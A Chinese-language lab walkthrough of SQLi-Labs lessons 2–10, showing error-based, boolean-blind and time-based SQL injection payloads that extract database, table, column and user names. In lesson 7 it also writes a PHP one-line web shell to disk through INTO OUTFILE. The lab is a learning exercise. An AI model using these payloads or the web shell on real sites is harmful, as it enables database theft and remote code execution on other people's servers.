Lesson 2:GET - Error based - Intiger based
// GET-基于错误的-数字型
进入less-2,发现和less-1的提示一样,所以在URL后面加上?id=1,得到下面的结果
再在URL中加入',发现报以下错误,推测后面加入的'破坏了原有的查询,可能没有引号包裹
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
通过尝试我们发现以下代码都可以执行
?id=1 or 1=1
?id=1 or 1=1%23
?id=1 or 1=1 --+
同样的,我们可以使用lesson 1的方法来破解数据库,详见SQLi-Labs Lesson 1,后面的课程如无特殊说明,则采用相同的方法。
Lesson 3:GET - Error based - Single quotes with twist - String
// GET-基于错误的-单引号变形-字符型
在URL后面加上?id=1',发现报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
推测$id两边除了有‘’还有(),于是我们进行构造,经尝试以下均可执行:
?id=1') or 1=1 --+
?id=1') or 1=1%23
Lesson 4:GET - Error based - Double quotes - String
// GET-基于错误的-双引号-字符型
与上面一样,在URL后面加上?id=1'
发现竟然成功查询,我们把单引号'换成双引号",发现了熟悉的报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
所以我们这里进行推测:$id被双引号和括号包裹,然后进行构造得到:
?id=1") or 1=1%23
?id=1") or 1=1 --+
Lesson 5:GET - Double injection - Single quotes - String
// GET-双注入-单引号-字符型
在URL加上?id=1,发现显示结果不一样了:
把?id=1改成?id=2,界面也一样,但是改成?id=-1,不显示。
后面加单引号:
那我们可以得出以下结论:
- 查询正确,显示 You are in......;
- 查询错误,会有错误回显;
- 没有查到任何信息的话,就不显示任何信息。
那我们可以利用报错信息来进行注入。我想到的方法是用substr()、length()、ascii()这些sql数据库函数来猜解,但是好像它的原意不是用这种方法来解决,网上的解决方法参考:http://www.2cto.com/article/2...
先介绍一下这些函数的含义:
- LENGTH(str) //返回字符串str的长度
- SUBSTRING(str,pos,len) //截取字符串从指定位置开始指定长度字符串
- ASCII(str) //返回值为字符串str的最左字符的ASCII数值
- COUNT(expr) //返回SELECT语句检索到的行中非NULL值的数目
我就用我认为的方法做吧:
1. 查询当前数据库名的长度
?id=1' and length(database())=8%23
经尝试,当前数据库名长的为8。
2. 对数据库名的每个字符进行猜解
?id=1' and ascii(substring(database(),1,1))=115%23
-> s?id=1' and ascii(substring(database(),2,1))=101%23
-> e?id=1' and ascii(substring(database(),3,1))=99%23
-> c?id=1' and ascii(substring(database(),4,1))=117%23
-> u?id=1' and ascii(substring(database(),5,1))=114%23
-> r?id=1' and ascii(substring(database(),6,1))=105%23
-> i?id=1' and ascii(substring(database(),7,1))=116%23
-> t?id=1' and ascii(substring(database(),8,1))=121%23
-> y
得到当前数据库名:security
3. 查询security数据库下的表的个数
?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4%23
经尝试,发现有4个表。
4.查询每个表的名字长度
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit *0*,1),**6**,1))%23
对** **内的数字进行变化,找到最大能显示正确的数字,那就是第一个表的长度
然后更换* *内的数字,继续查看另外几个表的长度。
5. 猜解表的名字
?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23
-> e?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109%23
-> m?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=97%23
-> a?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=105%23
-> i?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))=105%23
-> l
这里,我们猜解得到第一张表的名字为email,同理,我们可以猜解得到另外三张表名为referers、uagents、users。接下来猜解每个表里的列的个数、列名长度、列名,字段个数、字段长度、字段值,和上面原理都差不多,不再赘述。
6. 猜解某个表下的列的个数
?id=1' and (select count(column_name) from information_schema.columns where table_name='users')= %d %23
7.猜解某个表下的列的长度
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1))%23
8. 猜解某个表下的某个列的名字
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1))=97%23
9. 猜解表下的某个列的某个字段的个数
?id=1' and (select count(username) from security.users)=13%23
10. 猜解表下的某个列的某个字段的长度
?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))%23
11. 猜解表下的某个列的某个字段的值
?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=68%23
至此,猜解完毕。我们可以看到在猜解过程中重复查询了相当一部分代码,十分繁杂。
我们可以通过Python来解放劳动力,之后学习了Python再补。
Lesson 6 : GET - Double injection - Double quotes - String
// GET-双注入-双引号-字符型
在URL后面加上 ?id=1 或者 ?id=1' 界面都显示 You are in ...
紧接着尝试用 " ,发现出现了熟悉的报错:
我们可以发现其实和lesson 5一个套路,只不过是把单引号换成了双引号,那么解决方法也是差不多的,这里就不赘述了,具体看:SQLi-Labs lesson 5
Lesson 7 : GET - Dump into outfile - String
// GET-导出文件-字符型
首先我们先和之前的套路一样,先在URL后面加?id=1
紧接着我们再用 ?id=-1 和 ?id=1' 去尝试:
发现同样是报错说SQL语法有错误,得出结论:在能查询到数据的情况下是 You are in ... Use outfile;语法错误或者没有查询到数据则是另一种 You have an error in your SQL syntax;
结合提示"Use outfile",可以知道题目可能是想让我们用导出文件的方法来做,于是我们可以写入一句话木马文件来做:?id=1')) union select "<?php @eval($_POST['topo']);?>" into outfile "XXX\conn.php" %23
但现在的问题是,该页面不回显信息,我们无法知道它的绝对路径,所以没办法写,所以我们要用别的方式来获取到绝对路径,问题就迎刃而解了。那时我们可以用菜刀连接上去,就大功告成了。
Lesson 8 : GET - Blind - Boolian based - Single quotes
// GET-盲注-基于布尔-单引号
废话不多说,我们直接进行尝试,发现当正常查询时(?id=1
),是 You are in ......
当查询错误时(?id=-1
),页面没有显示:
用?id=1'
及?id=1'and 1=2%23
也是没有显示,但?id=1'%23
及?id=1'and 1=1%23
显示 You are in ... 的界面。
至此我们可以的得出结论:此页面存在布尔盲注。同样的,通过页面显示与否,可以判断猜测是否正确,具体可以查看之前 lesson 5 的方法来做。
Lesson 9 : GET - Blind - Time based - Single quotes
// GET-盲注-基于时间-单引号
进入lesson 9,我们不断尝试之前用过的各种payload,发现页面都一直是 You are in ... ,那么它是不是存在注入呢?未必,我们还没有尝试基于时间的(其实标题已经说明了Orz)
sleep(N)是mysql里的函数,作用是强制让语句停留N秒钟,然后再对语句进行处理。
然后我们可以通过感觉到有没有明显的延迟来判断是不是执行了sleep(N)。当然,也可以在浏览器里按F12,在Network模块中查看响应时间。
知道原理之后,我们便可以构造payload了:?id=1' and if(猜测数据库信息的语句,sleep(5),1)%23
要是我们猜测的语句是对的话,那么就会明显感觉到延迟,没有的话则说明猜测的信息有误。
猜测顺序一般为:数据库名->数据表名->表的列名->字段值。可参考: 这里
Lesson 10 : GET - Blind - Time based - Double quotes
// GET-盲注-基于时间-双引号
从标题也就可以看出是和lesson 9一样的,只不过是变成了双引号。
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。